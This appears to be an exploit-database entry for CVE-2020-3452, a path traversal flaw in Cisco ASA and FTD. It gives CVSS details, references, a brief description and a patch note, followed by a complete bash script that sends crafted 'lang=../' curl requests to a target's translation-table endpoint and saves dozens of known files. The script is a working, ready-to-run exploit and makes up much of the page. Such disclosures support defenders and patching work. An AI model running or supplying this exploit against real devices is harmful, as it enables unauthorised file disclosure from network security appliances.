Cisco ASA and FTD 9.6.4.42 - Path Traversal

vendor:

Cisco ASA and FTD

by:

3ndG4me

7.5

CVSS

HIGH

Path Traversal

CWE

Product Name: Cisco ASA and FTD

Affected Version From: 9.6.4.42

Affected Version To: 9.6.4.42

Patch Exists: YES

Related CWE: CVE-2020-3452

CPE: a:cisco:asa:9.6.4.42

Metasploit: https://www.rapid7.com/db/vulnerabilities/cisco-asa-cve-2020-3452/

Other Scripts:

Tags: lfi,kev,packetstorm,cve,cve2020,cisco

CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Nuclei References: https://twitter.com/aboul3la/status/1286012324722155525, http://packetstormsecurity.com/files/158646/Cisco-ASA-FTD-Remote-File-Disclosure.html, http://packetstormsecurity.com/files/158647/Cisco-Adaptive-Security-Appliance-Software-9.11-Local-File-Inclusion.html, http://packetstormsecurity.com/files/159523/Cisco-ASA-FTD-9.6.4.42-Path-Traversal.html, http://packetstormsecurity.com/files/160497/Cisco-ASA-9.14.1.10-FTD-6.6.0.1-Path-Traversal.html, https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86, https://nvd.nist.gov/vuln/detail/CVE-2020-3452

Nuclei Metadata: {'max-request': 2, 'vendor': 'cisco', 'product': 'adaptive_security_appliance'}

Platforms Tested:

2020

Cisco ASA and FTD 9.6.4.42 – Path Traversal

This exploit allows an attacker to bypass the security restrictions and access files on the Cisco ASA and FTD 9.6.4.42 devices. By sending a specially crafted request to the target, the attacker can traverse directories and retrieve sensitive information.

Mitigation:

Cisco has released a patch for this vulnerability. It is recommended to update to the latest version of Cisco ASA and FTD to mitigate this issue.

Source

Exploit-DB raw data:

# Exploit Title: Cisco ASA and FTD 9.6.4.42 - Path Traversal
# Date: 2020-10-10
# Exploit Author: 3ndG4me
# Vendor: www.cisco.com
# Product: https://www.cisco.com/c/en/us/products/security/asa-firepower-services/index.html
# CVE : CVE-2020-3452



TARGET=$1
CISCO_KNOWN_FILES="logo.gif http_auth.html user_dialog.html localization_inc.lua portal_inc.lua include nostcaccess.html ask.html no_svc.html svc.html session.js useralert.html ping.html help app_index.html tlbr portal_forms.js logon_forms.js win.js portal.css portal.js sess_update.html blank.html noportal.html portal_ce.html portal.html home logon_custom.css portal_custom.css preview.html session_expired custom portal_elements.html commonspawn.js common.js appstart.js appstatus relaymonjar.html relaymonocx.html relayjar.html relayocx.html portal_img color_picker.js color_picker.html cedhelp.html cedmain.html cedlogon.html cedportal.html cedsave.html cedf.html ced.html lced.html files 041235123432C2 041235123432U2 pluginlib.js shshim do_url clear_cache connection_failed_form apcf ucte_forbidden_data ucte_forbidden_url cookie session_password.html tunnel_linux.jnlp tunnel_mac.jnlp sdesktop gp-gip.html auth.html wrong_url.html logon_redirect.html logout.html logon.html test_chargen"
mkdir cisco_asa_files

if [ -z "$1" ];
then
    echo "Usage: cve-2020-3452.sh <target ip/hostname>"
    echo "Example: cve-2020-3452.sh mytarget.com"
    echo "Files that are downloaded will be in the newly created 'cisco_asa_files' directory"
    echo "Target not specificed...exiting..."
else
    for FILE in $CISCO_KNOWN_FILES;
    do
        curl "https://$TARGET/+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/${FILE}&default-language&lang=../" | tee cisco_asa_files/$FILE;
    done
fi